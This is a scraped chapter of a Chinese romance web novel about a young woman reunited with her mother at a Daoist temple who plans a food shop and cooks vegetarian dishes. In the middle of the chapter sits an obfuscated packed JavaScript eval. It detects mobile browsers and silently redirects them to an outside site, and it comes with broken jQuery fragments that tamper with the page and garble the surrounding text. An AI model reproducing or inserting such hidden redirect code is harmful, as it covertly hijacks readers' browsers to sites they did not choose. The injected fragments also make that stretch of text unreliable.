123读书网 > 玄幻小说 > 落魄将军与他的小厨娘 > 24. 素烧鹅 文思豆腐
    姜悦盈将头绕出段昭临的禁锢范围,拍了拍衣裙上的褶皱,“你既调查过我,就应知道我爹爹从前是县令。”


    她顿了一顿,接着说道,“他留下一本笔记,上面记载了多年考学和为官时的所见所闻。”


    “所以我对官场的了解也源于这本书。”


    姜悦盈说完不敢看段昭临,只用余光注意着他的神态,希望能蒙混过关。


    她的话只能说的上半真半假,往往真话里混着假话最容易被人相信。


    姜瑞确有一本笔记,大多以掉书袋为主,记些对易学、春秋笔法的批注和感想。


    还有薄薄几页是与七八品小官的交谈,谈不上对官场研究至深。


    段昭临用审视的目光打量了她一下,微微点了两下头。


    也不知是否真信了,姜悦盈往后面对他只得打起十二分精神,断不可再被怀疑了。


    她脆生生的问道,“县主应该知道我没事了吧。”


    “暗卫已经回去禀告情况了。”他坐在那里不知想些什么。


    看似是闭目养神,实则心早已乱了。


    今日之事确有些超出他的预期,被四个不速之客抢了先,要不是被他发现,若是有什么好歹,他不敢往深处想。


    姜悦盈想着若是回了姜家,开铺子的计划定要泡汤,她得在众人知道前就抓紧定下来。


    车上的二人就这么各怀心思,计划着各自的事情。


    来到道观,姜母一掷千金,往清虚观内投了一锭银子,拉着万坤道长感谢对小女的照料。


    道长连连道谢,说姜四娘子总拿好吃的来孝敬他,他肚子都大了一圈。


    姜母和钱父就住在姜悦盈的隔壁。


    姜母进了她的屋子,轻抚她的手,“盈儿,我本就和你钱叔叔无事闲游,现下无事就在洛京长住陪你。”


    “好,那……你们没有其他孩子吗?”


    姜悦盈心底透着高兴,却担心这份来之不易的惊喜会一下子不见,着急问姜母嫁人后的生活。


    “我身子一贯不好,经过两次小产怕是再难有子嗣了。”姜母垂下眼帘,“所以娘一直想认回你,这些年却怎么也找不到你。”


    姜家自从分家、祖父死后,老太太带着姜悦盈卖掉乡下的田契随着姜琛一路调动,这些年又在洛京住下。


    姜母托人打探没了消息。


    姜悦盈点点头,“我不曾想过原来娘……一直还惦念着我。”原来她还能在有生之年叫一声娘。


    姜母勾起嘴角,“盈儿,我就陪着你,我是无事一身轻。你钱明叔叔婚前有个儿子,现下钱家的产业都交与他打理了。”


    “嗯!”她重重点了两下头。


    临走前,姜母看着她空落落的衣橱,撅着嘴,“我赵昕兰的女儿怎能如此寒酸,午后为娘带着你去衣坊量体裁衣,置办几身行头。”


    房内只剩她一人时,姜悦盈的眼前突然湿润,上一次被亲人真心关心还是前世她嫁人前夜。


    那么大岁数的阿婆风尘仆仆赶了好几天来长安送亲,深夜和她讲了许多婚后如何在高门大户立足、如何培养夫妻感情。


    只可惜郑阳的心不在她身上,她使再多也是无用功。


    泪水顺着脸颊两侧滴到脖颈,姜悦盈愣了一下,自嘲的笑道,你何时变得这么脆弱了。


    章氏推门进来,给她带来一个好消息。


    元清和托人寻到一处好地段的铺子,就在清平巷。


    姜悦盈连忙转过身子去,用帕子在脸上抹了一把泪。


    又转过来,“是我们上次去的那条巷子?”


    章氏一拍大腿,“是呀!据说那家人要举家搬到长安,还是前铺后院。”


    她也激动起来,“阿姊,我也不懂这些,你可知清平巷一间铺子要多少钱?”


    章氏眼睛嘀哩咕噜的转了两圈,“元家郎君来的人,倒是没说租金多少,只说这家人急着出。”


    姜悦盈的心情一下子从高处坠落下来,她忍不住担心自己手头的钱不够可怎么好。


    章氏仿佛看出了她的忐忑,“丫头,你可不许小瞧我,我手头也有些存钱。”


    姜悦盈感动的鼻子一酸,又想掉泪了,一把抱住她,“你可真好,章阿姊。”


    “你这铺子日后赚了大钱,也得给我分一杯羹。”章氏用手指轻蹭了她的鼻尖一下。


    “一定一定。”


    “你是头等功臣。”


    姜母进屋见到章氏好奇的追问,“你是哪家娘子,也是这观内的住客吗?”


    姜悦盈为姜母解释了章氏的身份。


    “幸好我家盈儿在这里有你照料。”


    姜母拉着章氏寒暄了好一阵,“章阿妹,留下吃饭吧,我吩咐人买了条鱼。”


    姜悦盈不敢相信自己的耳朵,小声打断她,“道观忌荤……”


    姜母捂着嘴,“哎呀哎呀,看我这脑子。”


    章氏摆摆手,“谢过赵姐姐,可惜我得抓紧下山,不然我家那混小子得饿的挖门了。”


    “那我就不留你了,你把这鲤鱼带上回去吃。”姜母把鱼塞进她的筐子里。


    章氏想推辞,被姜母一把按住,“你既与我家盈儿交好,就不许与我客气了。”


    送走章氏,姜悦盈将他二人送到三清殿。


    两夫妻去前厅虔诚的拜了三拜,姜母嘴里念叨着,“感谢太上老君让我找到女儿。”


    一进厨堂,云梨就开心贴上来,“你找到母亲的事我们都知道了。”


    “道长吩咐我们做几道大菜庆贺此事,你看我手都磨出泡了。”云梨把食指上的燎泡给她看。


    姜悦盈认真的看了看,“可不是吗?我给你吹吹。”


    然后俏皮的抿着嘴,“再晚点都要愈合了。”


    她看见地上还有一盆泡在水里的素菜,就撒了些盐洗了起来。


    云梨对她扮了个鬼脸,“嘻嘻,听说你娘家很有钱呢。”


    这话让姜悦盈一愣,“是吗,我娘家只是普通人家。”


    一旁揉面的云桃把手放在嘴边,“是我们听道长身旁的青云师兄说的,你娘改嫁的人是个富商。”


    今日祖母说只是做了商人妇,她只当是普通商户,不知竟能达到如此财富。


    姜悦盈摇摇头,“有可能是谣传,这人传人话早就没个准儿了。”


    云梨看了她一眼,觉得有道理,“这倒是,我爹爹从前只是腿摔伤了,传到隔壁村就成了他腿摔断了,那些人都上门来探望他来了。”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16741678|188913||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    姜悦盈嘟了嘟嘴,“是这个理。”她这个当事人都不知道的事竟被传的风里雨里。


    只听到油热的声音,下入用豆腐皮包好的山药小段,看着白白胖胖的小细条煎成金黄色,捞出放入盘内。


    云桃又另起一碗,倒入酱油、松酒,又撒了少许蜂蜜,搅拌均匀滴入刚煎好的食材上面。


    此物便为素烧鹅。


    姜悦盈边看边学,“原来素烧鹅没有鹅呀。”


    云桃冲她点点头,仿佛找到知音,“是呀,是林师傅教我的,说这菜原名香油豆腐,后来被前朝一个皇帝改了。”


    “不过具体是哪位皇帝我是真忘了。”


    云梨则在案板上给豆腐切薄片,对着姜悦盈挥挥手,“快来,我要展示绝活了。”她竟用手中的刀一点点把豆腐片切成一根根细丝,肉眼看只比丝线粗一点。


    姜悦盈睁大了眼睛,想看清她是怎么做到的,只可惜偷师失败。


    云梨洋洋得意道,“我练这刀法整整两年呢,每日不停歇。”


    她将豆腐丝泡入水中,防止粘连,后烧开水放入陶釜内焯水,接着下黄瓜丝、香菇丝。后倒入提前熬制好的鸡汤,把素菜丝煮熟。


    然后就是很关键的一步——勾芡,她用筷子把碗内的水和淀粉调成水淀粉,用扇子把炉灶的火扇小,沿着锅边一点点倒入勾芡水,另一只手则拿着汤勺慢慢搅拌。


    看到姜悦盈大气不敢出,生怕一个不小心影响了云梨,她得不停的搅拌着汤内的食物。


    云梨冲她挑了挑眉,“这可是文思豆腐。”


    “这名字好噢,感觉吃了便能文思泉涌。”姜悦盈把手边的大盆递给她。


    云桃边倒着边说,“那你可猜错了,传说是一个叫文思的和尚上供给圣人才得名的。”


    两姐妹今日可真是为了她,使出了看家底的功夫,把姜悦盈看的心痒痒,也想下厨露一手。


    她去仓房挑了几个个大的香菇,洗净后小心的用刀切花口,切成好几个田字格状,方便料汁入味。


    又把提前用温水泡好的粉丝铺在香菇刚切好的小口上,一个接一个摆在盘内。


    切碎的姜末、蒜末、白芝麻和热油混合在一起,滴上三勺酱油,均匀的滴入香菇,端入陶甑,等待两刻。


    他们三人与道长一同用午膳。


    没曾想段昭临也来了,万坤笑眯眯的做了一躬,“我把这孩子也叫来了,你们不会怪老朽吧。”


    姜母脸上的笑意挡也挡不住,“我还正想叫他呢,道长你有所不知,段郎与我家的缘分真是深呐。”


    听罢这事的经过,万坤若有所思,“这就是所谓的善缘结善缘,正是有你们的施救才有了姜四娘子的得救。”


    姜母尝了一口姜悦盈做的香菇蒸粉丝,蒜香浓郁,吸饱蒜末香油的粉丝异常美味,衬得这香菇也鲜美了几分。


    她毫不吝啬对女儿的夸奖,“没想到我这个庖厨杀手生下的女儿竟有如此好手艺。”


    万坤小口喝着豆腐汤,也笑着赞同,“是呀,悦盈这丫头若是开了食肆一定叫座。”


    姜悦盈想着听听他们的想法,便说了自己的计划。


    听到这话,姜母口里的水一口喷出去,脸色变得严肃起来。